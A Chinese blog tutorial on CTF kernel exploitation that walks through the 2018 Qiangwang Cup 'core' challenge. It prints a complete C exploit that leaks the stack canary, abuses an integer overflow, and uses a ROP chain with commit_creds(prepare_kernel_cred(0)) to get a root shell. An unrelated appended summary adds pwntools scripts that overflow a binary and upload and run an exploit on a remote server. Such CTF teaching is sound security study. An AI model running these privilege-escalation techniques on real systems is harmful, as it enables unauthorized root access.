kernel pwn

本文介绍了kernel pwn的基本概念,包括在比赛中遇到的文件分析,如bzImage、core.cpio和core.ko。讲解了内核、ioctl、cred结构体的作用,以及用户态与内核态的转换。提到了利用commit_creds(prepare_kernel_cred(0))进行权限提升,并讨论了调试技巧和获取shell的方法。

比赛中的kernel pwn

比赛中我们会得到下面几个文件

  • bzImage 这是一个内核编译生成的压缩内核映像
  • core.cpio这是一个文件管理系统

针对core.cpio会有一系列常规操作

mkdir core
cd core
mv ../core.cpio core.cpio.gz   //  cp ../core.cpio core.cpio.gz
gunzip core.cpio.gz
cpio -idmv < core.cpio

然后我们在core这个目录下我们可以看见

这里有一个init文件,我们用文本编辑器打开

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

#poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

这些就是内核启动时候的一些环境信息,其中

insmod /core.ko

这个core.ko文件就是我们主要分析的文件,这个系统挂载了core.ko这么个文件,往往漏洞就出现在这里,针对这个内核文件我们会写一个c语言的程序来完成我们的攻击

setsid /bin/cttyhack setuidgid 1000 /bin/sh 这句话代表着我们是用什么用户,我们往往在本地中会将这句话改为

setsid /bin/cttyhack setuidgid 0 /bin/sh

  • start.sh这是一个启动Linux的脚本
#!/bin/bash
qemu-system-x86_64 \
-m 128M \          //128m 的大小
-kernel bzImage \  //选择bzImage这个内核
-initrd core.cpio \    //选择core.cpio这个文件管理系统
-append 'console=ttyS0 kaslr quiet' \  //kaslr就是开启了地址随机化
-monitor /dev/null \
-cpu kvm64,+smep,+smap \ //内核保护措施
-smp cores=1,threads=1 \  
-nographic
  • vmlinux是 编译生成的最原始的文件,里面是有符号表与一些gadget,常用于debug

执行启动脚本之后我们会得到这样一个有普通用户权限的虚拟机环境

在比赛中我们要把普通用户变成特权用户,flag就在特权用户的目录下

我们编写脚本完成之后,打远程时一般通过一些方式将脚本发送到服务端。

原理

内核

百度一下

ioctl

ioctl 也是一个系统调用,用于与设备通信。

linux的内核我们是可以拓展的,对于一些我们写的驱动我们可以通过这个系统调用来完成。

cred结构体

内核会将各个进程的权限用一个cred结构体保存着,通过这个结构体,内核就知道这个进程的权限。

struct cred {
    atomic_t    usage;
    #ifdef CONFIG_DEBUG_CREDENTIALS
    atomic_t    subscribers;    /* number of processes subscribed */
    void        *put_addr;
    unsigned    magic;
    #define CRED_MAGIC  0x43736564
    #define CRED_MAGIC_DEAD 0x44656144
    #endif
    kuid_t      uid;        /* real UID of the task */
    kgid_t      gid;        /* real GID of the task */
    kuid_t      suid;       /* saved UID of the task */
    kgid_t      sgid;       /* saved GID of the task */
    kuid_t      euid;       /* effective UID of the task */
    kgid_t      egid;       /* effective GID of the task */
    kuid_t      fsuid;      /* UID for VFS ops */
    kgid_t      fsgid;      /* GID for VFS ops */
    unsigned    securebits; /* SUID-less security management */
    kernel_cap_t    cap_inheritable; /* caps our children can inherit */
    kernel_cap_t    cap_permitted;  /* caps we're permitted */
    kernel_cap_t    cap_effective;  /* caps we can actually use */
    kernel_cap_t    cap_bset;   /* capability bounding set */
    kernel_cap_t    cap_ambient;    /* Ambient capability set */
    #ifdef CONFIG_KEYS
    unsigned char   jit_keyring;    /* default keyring to attach requested
    * keys to */
    struct key __rcu *session_keyring; /* keyring inherited over fork */
    struct key  *process_keyring; /* keyring private to this process */
    struct key  *thread_keyring; /* keyring private to this thread */
    struct key  *request_key_auth; /* assumed request_key authority */
    #endif
    #ifdef CONFIG_SECURITY
    void        *security;  /* subjective LSM security */
    #endif
    struct user_struct *user;   /* real user ID subscription */
    struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
    struct group_info *group_info;  /* supplementary groups for euid/fsgid */
    struct rcu_head rcu;        /* RCU deletion hook */
};

在一些情况下我们能通过修改这个结构体的一些内容来完成提权。不过我们常常会使用下面这个函数

commit_creds(prepare_kernel_cred(0))

这两个函数会在一个固定的地址/proc/kallsyms,一些题目中会在init将这个地址改变

下面就是将kallsyms改变了地址,我们可以从这个文件中获取到这两个函数的地址。

寻找这两个地址的函数一般是固定的

size_t find_symbols(){
	FILE * kallsyms_fd = fopen("/tmp/kallsyms","r");
	if(kallsyms_fd<0){
		puts("[*]kallsyms open error");
		return 0;
	}
	char buf[0x30]={0};
	while(fgets(buf,0x30,kallsyms_fd)){
		if(commit_cred && prepare_kernel_cred){
			return 0;
		}
		if(strstr(buf,"commit_cred")&&!commit_cred){
			char hex[20]={0};
			strncpy(hex,buf,16);
			sscanf(hex,"%llx",&commit_cred);
			printf("commit_cred_addr------------------>%p\n",commit_cred);
			vmlinux_base = commit_cred - 0x9c8e0;
			printf("vmlinux_base--------------------->%p\n",vmlinux_base);
		}
		if(strstr(buf,"prepare_kernel_cred")&&!prepare_kernel_cred){
			char hex[20]={0};
			strncpy(hex,buf,16);
			sscanf(hex,"%llx",&prepare_kernel_cred);
			printf("prepare_kernel_cred_addr--------------------->%p\n",prepare_kernel_cred);

		}
	}
	if(!(commit_cred&&prepare_kernel_cred)){
		puts("[*]find symbols error\n");
		return 0;
	}
}

用户态到内核态

当发生中断,系统调用,产生异常。我们就会从用户态切换到内核态,切换的过程会有一些过程

  1. 通过 swapgs 切换 GS 段寄存器,将 GS 寄存器值和一个特定位置的值进行交换,目的是保存 GS 值,同时将该位置的值作为内核执行时的 GS 值使用。
  2. 将当前栈顶(用户空间栈顶)记录在 CPU 独占变量区域里,将 CPU 独占区域里记录的内核栈顶放入 rsp/esp。
  3. 通过 push 保存各寄存器值
ENTRY(entry_SYSCALL_64)
/* SWAPGS_UNSAFE_STACK是一个宏,x86直接定义为swapgs指令 */
SWAPGS_UNSAFE_STACK

/* 保存栈值,并设置内核栈 */
movq %rsp, PER_CPU_VAR(rsp_scratch)
movq PER_CPU_VAR(cpu_current_top_of_stack), %rsp


/* 通过push保存寄存器值,形成一个pt_regs结构 */
/* Construct struct pt_regs on stack */
pushq  $__USER_DS      /* pt_regs->ss */
pushq  PER_CPU_VAR(rsp_scratch)  /* pt_regs->sp */
pushq  %r11             /* pt_regs->flags */
pushq  $__USER_CS      /* pt_regs->cs */
pushq  %rcx             /* pt_regs->ip */
pushq  %rax             /* pt_regs->orig_ax */
pushq  %rdi             /* pt_regs->di */
pushq  %rsi             /* pt_regs->si */
pushq  %rdx             /* pt_regs->dx */
pushq  %rcx tuichu    /* pt_regs->cx */
pushq  $-ENOSYS        /* pt_regs->ax */
pushq  %r8              /* pt_regs->r8 */
pushq  %r9              /* pt_regs->r9 */
pushq  %r10             /* pt_regs->r10 */
pushq  %r11             /* pt_regs->r11 */
sub $(6*8), %rsp      /* pt_regs->bp, bx, r12-15 not saved */
  1. 通过汇编指令判断是否为 x32_abi。
  2. 通过系统调用号,跳到全局变量 sys_call_table 相应位置继续执行系统调用。

内核态到用户态

  1. 通过 swapgs 恢复 GS 值
  2. 通过 sysretq 或者 iretq 恢复到用户控件继续执行。如果使用 iretq 还需要给出用户空间的一些信息(CS, eflags/rflags, esp/rsp 等)

可能会有这样的一个疑问?为什么在内核中提取到了权限之后还要返回用户态?用一张ppt回答

也就是说我们在内核态中我们有很多的事情不能做,所以我们要在获取权限之后再返回用户态

我们在内核中提权了返回内核时,我们要注意之前的寄存器信息,所以我们要保存这些状态,这个函数一般也是固定的

void save_status(){
	__asm__("mov usr_cs,cs;"
		    "mov usr_ss,ss;"
		    "mov usr_sp,rsp;"
		    "pushf;"
		    "pop usr_rflags;"
		);
	puts("[*]status has been saved");
}

然后返回的时候还需要一些寄存器,我们要从vmlinux提取一些gadget,这里一般用ropper,而不用ROPgadget,因为vmlinux是一个很大的文件,用ROPgadget跑的话会跑很久

ropper安装

不推荐用pip安装,会有很大问题。使用时要给虚拟机多分配内存,要不然会卡住。

安装keystone-engine

$ git clone https://github.com/keystone-engine/keystone.git
$ cd keystone
$ mkdir build
$ cd build
$ ../make-share.sh
$ sudo make install
$ sudo ldconfig
$ cd ../bindings/python
$ sudo make install3 # or sudo make install for python2-bindings

如果有报错,我遇到的问题我没有截图但是我扩大了内存就完成了。

安装ropper

sudo pip3 install filebytes==0.9.18
git clone https://github.com/sashs/Ropper.git
cd Ropper
sudo python3 setup.py install

使用

调试

qemu启动时一般会有一个端口开放我们可以用这个端口来调试

bzImage往往是没有符号表,所以我们调试时往往会加上./vmlinux

gdb ./vmlinux -q
add-symbol-file ./core 0xffffffffc02eb000
b core_read
target remote localhost:1234

我们内核有符号表了,但是驱动还没有所以我们要给驱动也加上,我们用root用户就能在qemu中下面这个地址拿到我们的驱动加载地址

我们打完断点,连上qemu之后,在qemu中运行我们的文件我们就能实现我们的调试,就和用户态调试一样,但是会有延迟

get shell

下面以2018强网杯core为例

有canary保护

ioctl提供了下面几种

core_read中

当off为0x40时我们就能读出canary,而off是我们可以控制的。

在core_copy_func中存在一个溢出漏洞

int变为unsignint存在一个整形漏洞,这里就能实现一个溢出

我直接拿了wiki的wp跑

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

void spawn_shell()
{
    if(!getuid())
    {
        system("/bin/sh");
    }
    else
    {
        puts("[*]spawn shell error!");
    }
    exit(0);
}

size_t commit_creds = 0, prepare_kernel_cred = 0;
size_t raw_vmlinux_base = 0xffffffff81000000;
size_t vmlinux_base = 0;
size_t find_symbols()
{
    FILE* kallsyms_fd = fopen("/tmp/kallsyms", "r");

    
    if(kallsyms_fd < 0)
    {
        puts("[*]open kallsyms error!");
        exit(0);
    }
    
    char buf[0x30] = {0};
    while(fgets(buf, 0x30, kallsyms_fd))
    {
        if(commit_creds & prepare_kernel_cred)
            return 0;
        
        if(strstr(buf, "commit_creds") && !commit_creds)
        {
            
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            /* printf("hex: %s\n", hex); */
            sscanf(hex, "%llx", &commit_creds);
            printf("commit_creds addr: %p\n", commit_creds);
           
            vmlinux_base = commit_creds - 0x9c8e0;
            printf("vmlinux_base addr: %p\n", vmlinux_base);
        }
        
        if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
        {
            /* puts(buf); */
            char hex[20] = {0};
            strncpy(hex, buf, 16);
            sscanf(hex, "%llx", &prepare_kernel_cred);
            printf("prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
            vmlinux_base = prepare_kernel_cred - 0x9cce0;
          
        }
    }
    
    if(!(prepare_kernel_cred & commit_creds))
    {
        puts("[*]Error!");
        exit(0);
    }
    
}

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
           );
    puts("[*]status has been saved.");
}

void set_off(int fd, long long idx)
{
    printf("[*]set off to %ld\n", idx);
    ioctl(fd, 0x6677889C, idx);
}

void core_read(int fd, char *buf)
{
    puts("[*]read to buf.");
    ioctl(fd, 0x6677889B, buf);
    
}

void core_copy_func(int fd, long long size)
{
    printf("[*]copy from user with size: %ld\n", size);
    ioctl(fd, 0x6677889A, size);
}

int main()
{
    save_status();
    int fd = open("/proc/core", 2);
    if(fd < 0)
    {
        puts("[*]open /proc/core error!");
        exit(0);
    }
    
    find_symbols();
    // gadget = raw_gadget - raw_vmlinux_base + vmlinux_base;
    ssize_t offset = vmlinux_base - raw_vmlinux_base;
    
    set_off(fd, 0x40);
    
    char buf[0x40] = {0};
    core_read(fd, buf);
    size_t canary = ((size_t *)buf)[0];
    printf("[+]canary: %p\n", canary);
    
    size_t rop[0x1000] = {0};
    
    int i;
    for(i = 0; i < 10; i++)
    {
        rop[i] = canary;
    }
    rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret
    rop[i++] = 0;
    rop[i++] = prepare_kernel_cred;         // prepare_kernel_cred(0)
    
    rop[i++] = 0xffffffff810a0f49 + offset; // pop rdx; ret
    rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret
    rop[i++] = 0xffffffff8101aa6a + offset; // mov rdi, rax; call rdx; 
    rop[i++] = commit_creds;
    
    rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret
    rop[i++] = 0;
    
    rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret; 
    
    rop[i++] = (size_t)spawn_shell;         // rip 
    
    rop[i++] = user_cs;
    rop[i++] = user_rflags;
    rop[i++] = user_sp;
    rop[i++] = user_ss;
    
    write(fd, rop, 0x800);
    core_copy_func(fd, 0xffffffffffff0000 | (0x100));
    
    return 0;
}

我写了一个打包脚本

#!/bin/sh
gcc expolit.c -static -masm=intel -g -o expolit
mv expolit core/tmp
cd core
find . | cpio -o --format=newc > core.cpio
mv core.cpio ..
cd ..
./start.sh

然后执行我们的脚本

完成了我们的提权过程,其实这个题目还有很多其他方式做。

CTFShow平台PWN题的解题思路和过程在不同题目中有所不同。以CTFSHOW PWN02为例,解题脚本通过`pwn`库进行操作。脚本根据`contect`变量的值来选择是本地运行程序还是远程连接目标服务器。构造了长度为13个字节的`a`字符的`payload`,并拼接上函数地址`0X804850F`,将其发送给目标程序,最后进入交互模式与程序进行交互,可能是通过溢出覆盖返回地址来执行指定函数,以达到解题目的[^1]。 对于CTFShow PWN入门的Kernel PWN 356 - 360相关题目,解题脚本先将本地的`exp`文件内容进行Base64编码,然后分块发送到远程服务器上的`/tmp/b64_exp`文件中。接着将Base64编码的内容解码成可执行文件`/tmp/exploit`,为其添加执行权限,最后执行该文件并进入交互模式。该过程可能是利用内核漏洞,通过上传并执行本地编写的漏洞利用脚本,来获取远程服务器的控制权[^3]。 ### 代码示例 CTFSHOW PWN02解题脚本: ```python from pwn import * contect = 1 def main(): if contect == 0: p = process("./stack") else: p = remote("pwn.challenge.ctf.show", 28103) payload = b'a' * 13 payload += p32(0X804850F) p.sendline(payload) p.interactive() main() ``` CTFShow PWN入门Kernel PWN相关题目的解题脚本: ```python from pwn import * import base64 context.log_level = "debug" with open("./exp", "rb") as f: exp = base64.b64encode(f.read()) p = remote("pwn.challenge.ctf.show", 28304) p.recvuntil(b"$ ") p.sendline(b"ls") count = 0 for i in range(0, len(exp), 0x200): p.recvuntil(b"/ $ ") p.sendline("echo -n \"" + exp[i:i + 0x200].decode() + "\" >> /tmp/b64_exp") count += 1 log.info("count: " + str(count)) p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit") p.sendline("chmod +x /tmp/exploit") p.sendline("/tmp/exploit ") p.interactive() ```
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值